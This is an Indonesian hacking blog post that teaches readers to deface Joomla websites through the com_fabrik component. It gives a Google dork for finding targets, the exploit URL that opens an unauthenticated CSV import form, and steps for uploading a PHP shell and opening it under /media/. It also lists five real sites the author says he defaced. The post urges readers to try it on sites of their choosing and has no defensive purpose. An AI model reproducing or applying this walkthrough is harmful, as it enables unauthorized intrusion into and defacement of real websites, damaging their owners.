DUNIA MAYA INDONESIA: Cara Deface Website Melalui Com Fabrik

//Configure below to change URL path to the snow image var snowsrc="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3KsqATEn3NpKy0jpPpLjyQPJahGm2JEhV7YbS2VDKjBzdQkAzmqM_J0v8DCIwuZ-HihwYDaLN8wPuLHnrT7I5T6vONsRKKRr6w7m76FEBDRJH80u2PJM0wGpB8XkanXYJOatVGmF0l0/s400/snow.gif" // Configure below to change number of snow to render var no = 15; // Configure whether snow should disappear after x seconds (0=never): var hidesnowtime = 0; // Configure how much snow should drop down before fading ("windowheight" or "pageheight") var snowdistance = "pageheight"; ///////////Stop Config////////////////////////////////// var ie4up = (document.all) ? 1 : 0; var ns6up = (document.getElementById&&!document.all) ? 1 : 0; function iecompattest(){ return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body } var dx, xp, yp; // coordinate and position variables var am, stx, sty; // amplitude and step variables var i, doc_width = 800, doc_height = 600; if (ns6up) { doc_width = self.innerWidth; doc_height = self.innerHeight; } else if (ie4up) { doc_width = iecompattest().clientWidth; doc_height = iecompattest().clientHeight; } dx = new Array(); xp = new Array(); yp = new Array(); am = new Array(); stx = new Array(); sty = new Array(); snowsrc=(snowsrc.indexOf("dynamicdrive.com")!=-1)? "https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjH3KsqATEn3NpKy0jpPpLjyQPJahGm2JEhV7YbS2VDKjBzdQkAzmqM_J0v8DCIwuZ-HihwYDaLN8wPuLHnrT7I5T6vONsRKKRr6w7m76FEBDRJH80u2PJM0wGpB8XkanXYJOatVGmF0l0/s400/snow.gif" : snowsrc for (i = 0; i < no; ++ i) { dx[i] = 0; // set coordinate variables xp[i] = Math.random()*(doc_width-50); // set position variables yp[i] = Math.random()*doc_height; am[i] = Math.random()*20; // set amplitude variables stx[i] = 0.02 + Math.random()/10; // set step variables sty[i] = 0.7 + Math.random(); // set step variables if (ie4up||ns6up) { if (i == 0) { document.write("

<\/a><\/div>"); } else { document.write("

<\/div>"); } } } function snowIE_NS6() { // IE and NS6 main animation function doc_width = ns6up?window.innerWidth-10 : iecompattest().clientWidth-10; doc_height=(window.innerHeight && snowdistance=="windowheight")? window.innerHeight : (ie4up && snowdistance=="windowheight")? iecompattest().clientHeight : (ie4up && !window.opera && snowdistance=="pageheight")? iecompattest().scrollHeight : iecompattest().offsetHeight; for (i = 0; i < no; ++ i) { // iterate for every dot yp[i] += sty[i]; if (yp[i] > doc_height-50) { xp[i] = Math.random()*(doc_width-am[i]-30); yp[i] = 0; stx[i] = 0.02 + Math.random()/10; sty[i] = 0.7 + Math.random(); } dx[i] += stx[i]; document.getElementById("dot"+i).style.top=yp[i]+"px"; document.getElementById("dot"+i).style.left=xp[i] + am[i]*Math.sin(dx[i])+"px"; } snowtimer=setTimeout("snowIE_NS6()", 10); } function hidesnow(){ if (window.snowtimer) clearTimeout(snowtimer) for (i=0; i0) setTimeout("hidesnow()", hidesnowtime*1000) }

Kamis, 06 Februari 2014

Cara Deface Website Melalui Com Fabrik

Masih membahas tentang deface. Cara yang satu ini cukup mudah dilakukan. Dengan menggunakan exploit com_fabrik, kita bisa mengupload shell kita untuk melakukan deface terhadap web tersebut. Ok simak tutorial berikut.

1. Ketik dork berikut ke google : inurl:index.php?option=com_fabrik

2. Akan ada banyak web, anda buka terserah yang mana

3. Masukkan exploit ini : index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
Contoh : www.site.com/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

4. Jika tidak berhasil cari target lain. Jika berhasil akan muncul form upload seperti ini

5. Klik "pilih file" untuk memilih shell, dan klik "Import CSV untuk mengupload

6. Jika berhasil, buka shell anda dengan format www.site.com/media/namashell.php

7. Dan muncullah shell kesayangan anda. Namun jika tidak muncul, itu karena web tersebut tidak mendukung file berformat php maupun html.

Sekian ilmu yang dapat saya berikan.
Selamat mencoba ^_^

contoh web yang saya deface dengan metode ; com_fabrik

http://www.albertobertoli.it/media/rafli.html
http://www.ready4english.it/media/rafli.html
http://www.annalisacreazioni.it/media/rafli.html
http://www.adusbef.lombardia.it/media/rafli.html
http://www.europea-export.it/media/rafli.html

POC : COM_FABRIK ,,,,

Tidak ada komentar:

Posting Komentar

Jika Ada Yang Kurang Paham, Silahkan Berkomentar Dengan Sopan & Dapat Di Mengerti..

Langganan: Posting Komentar (Atom)